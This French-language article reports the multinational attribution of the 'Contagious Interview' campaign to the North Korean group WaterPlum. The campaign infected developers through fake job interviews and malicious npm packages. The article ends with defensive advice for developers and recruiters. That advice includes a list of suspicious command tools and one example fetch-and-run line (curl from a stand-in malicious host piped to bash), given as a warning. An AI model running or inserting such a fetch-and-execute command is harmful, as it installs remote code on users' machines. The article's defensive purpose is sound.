Campagne Contagious Interview : comment le groupe nord-coréen WaterPlum infecte les développeurs via de fausses offres d’emploi

En septembre 2026, une alliance sans précédent de quatre pays (Japon, États-Unis, Australie et Allemagne) a officiellement attribué une vaste campagne de malwares ciblant les développeurs et experts blockchain à un groupe parrainé par l’État nord-coréen, désigné sous le nom de WaterPlum. Connue sous le nom de Contagious Interview, cette opération a infecté plus de 30 000 ordinateurs dans plus de 100 pays et dérobé environ 10,7 millions de dollars en cryptomonnaies. L’avis conjoint, publié par les agences de cybersécurité et de renseignement de ces quatre nations, place WaterPlum sous la direction du 313e Bureau général du département de l’industrie de l’armement de la Corée du Nord, ce qui transforme ces vols en une source de revenus pour l’État plutôt qu’en une simple cybercriminalité.

Une attribution multilatérale inédite

Pour la première fois, les autorités japonaises (Agence nationale de police et Bureau national de cybersécurité), américaines (FBI et Cyber Crime Center du département de la Défense), australiennes (Centre australien de cybersécurité de la Signals Directorate) et allemandes (BND et BfV) émettent un avertissement commun. Ce niveau de coordination souligne la gravité de la menace. L’attribution formelle à WaterPlum intervient après plusieurs années d’enquêtes, avec une phase active intense entre décembre 2025 et juillet 2026, période durant laquelle environ 7 000 cas de portefeuilles de cryptomonnaies volés ont été enregistrés par la police japonaise.

« Il s’agit d’une opération de grande envergure menée par un groupe étatique nord-coréen, dont l’objectif est d’infiltrer les réseaux de demandeurs d’emploi sans méfiance, de récolter des informations sensibles et de dérober des cryptomonnaies. » - Extrait de l’avis conjoint.

Les experts estiment que cette campagne s’inscrit dans la stratégie plus large de Pyongyang pour contourner les sanctions internationales et générer des devises. L’avis met en lumière le caractère structurel de ces activités, qui s’appuient sur des infrastructures sophistiquées : serveurs privés virtuels, fermes d’ordinateurs portables chez des facilitateurs locaux, et usage d’identités volées.

Fonctionnement de la campagne : un recrutement piégé

À la différence des attaques traditionnelles qui ciblent les entreprises, WaterPlum vise directement les individus. Les opérateurs se font passer pour des recruteurs de sociétés spécialisées en intelligence artificielle, cryptomonnaies ou NFT. Ils approchent développeurs, concepteurs web et experts blockchain via les réseaux sociaux, les plateformes de recherche d’emploi (LinkedIn, Indeed, Upwork) et les marchés freelances.

L’étape critique est l’entretien technique : le candidat est invité à exécuter un exercice de codage ou à résoudre un problème de visioconférence. Ce prétexte sert à délivrer un maliciel, le plus souvent par le biais de paquets Node Package Manager (npm) malveillants hébergés sur GitHub ou Bitbucket. La victime, pensant effectuer une tâche légitime, exécute en réalité le code qui installe silencieusement l’une des cinq familles de malwares identifiées.

Les cinq malwares déployés

Ces malwares travaillent de concert pour siphonner mots de passe, presse-papiers, frappes clavier, captures d’écran, clés de portefeuilles, phrases de récupération (seed phrases), documents d’identité et code source. La diversité et la modularité des outils rendent la détection complexe.

Le lien avec le programme de travailleurs IT nord-coréens

L’avis conjoint établit un parallèle direct entre la campagne Contagious Interview et le programme de travailleurs informatiques nord-coréens détournés. Dans ce schéma, des opérateurs utilisent des identités volées et des serveurs privés virtuels (VPS) pour se faire embaucher à distance par des entreprises occidentales. Ils travaillent depuis la Corée du Nord, la Chine, la Russie, l’Afrique ou l’Asie du Sud-Est, tandis que des « fermes d’ordinateurs portables » installées chez des complices fournissent des adresses IP locales crédibles.

Lorsque des différends surviennent sur le paiement, ces travailleurs détournés n’hésitent pas à recourir à l’extorsion, à la défiguration de sites web et à la publication de code source volé. Les enquêteurs japonais ont démantelé l’une de ces fermes et retracé plusieurs centaines de millions de yens vers l’étranger.

« Les entreprises qui embauchent inconsciemment un contractant nord-coréen s’exposent à des sanctions. C’est pourquoi l’avis insiste sur les contrôles contractuels et la vérification d’identité, et non sur la seule détection. » - Analyse du Cyber Express.

Le risque de conformité (compliance) est majeur. Le département d’État américain a émis une alerte dès juillet, le ministère de la Justice a engagé des poursuites contre des facilitateurs et saisi des fermes d’ordinateurs. Les entreprises du secteur IT doivent donc renforcer leurs procédures de vérification des candidats.

Recommandations pratiques pour les professionnels IT

Face à cette menace, les agences de cybersécurité diffusent des conseils opérationnels précis. Tout développeur sollicité pour un entretien technique doit adopter une posture défensive :

• Exécuter le code fourni exclusivement dans une machine virtuelle isolée, sans accès aux fichiers du système hôte.
• Méfier des commandes contenant curl, base64, -enc, mshta ou Invoke-WebRequest. Ces instructions sont souvent utilisées pour télécharger et exécuter des charges malveillantes.
• Ouvrir les projets inconnus dans le mode restreint de Visual Studio Code et inspecter préalablement le fichier .vscode/tasks.json.

En cas d’infection avérée, la priorité est de considérer l’intégralité des identifiants comme compromise :

1. Faire pivoter les portefeuilles de cryptomonnaies depuis un appareil sain.
2. Réinitialiser l’ensemble des mots de passe après avoir nettoyé la machine.
3. Réinstaller complètement le système d’exploitation pour éliminer toute persistance.

Pour les recruteurs et entreprises, quelques indicateurs doivent alerter :

• L’adresse IP ne correspond pas au lieu de résidence déclaré (un candidat japonais avec une IP française, par exemple).
• Le refus de se rencontrer en personne, même pour des postes locaux.
• Des blocages audio/vidéo fréquents lors des entretiens, ou l’usage de logiciels de maquillage facial (face-swapping).

# Exemple de commande suspecte à ne jamais exécuter sans vérification
curl -s http://malicious-host.com/script.sh | bash

Selon l’autorité de cybersécurité australienne (ACSC), il est impératif que les responsables sécurité intègrent ces scénarios dans leurs playbooks de réponse aux incidents. La collaboration avec les plateformes d’hébergement de code (npm, GitHub, Bitbucket) est également cruciale pour un retrait rapide des paquets malveillants.

Perspectives et évolutions

L’attribution de Contagious Interview à WaterPlum par quatre grandes nations devrait entraîner des répercussions politiques et techniques. Plusieurs axes de surveillance sont à suivre :

• Désignations de sanctions : les États-Unis pourraient ajouter WaterPlum à leur liste noire, compliquant encore les transactions internationales.
• Réaction des plateformes : npm et GitHub sont en première ligne. Comment améliorer la détection des paquets frauduleux à grande échelle ? Des mécanismes de validation automatisée sont attendus.
• Guides nationaux : l’ACSC australienne prévoit de publier des recommandations spécifiques pour les entreprises Web3 et les employeurs de contractants.

En France, l’ANSSI pourrait s’inspirer de cet avis pour renforcer ses propres alertes et inviter les entreprises du numérique à durcir leurs procédures de recrutement à distance. La vigilance individuelle reste la meilleure protection : un développeur averti qui refuse d’exécuter un code non vérifié brise la chaîne d’infection.

Conclusion : une menace qui oblige à repenser le recrutement tech

La campagne Contagious Interview orchestrée par WaterPlum démontre que les cybermenaces étatiques exploitent désormais les failles humaines du marché de l’emploi. Le vol de 10,7 millions de dollars et l’infection de plus de 30 000 machines ne sont que la partie émergée de l’iceberg. Junior comme senior, chaque acteur du secteur IT doit désormais considérer chaque interaction de recrutement comme potentiellement hostile. Les entreprises, de leur côté, ont une responsabilité claire : mettre en place des processus de vérification d’identité robustes, sensibiliser leurs équipes et collaborer avec les autorités. La cybersécurité commence bien avant l’entretien technique.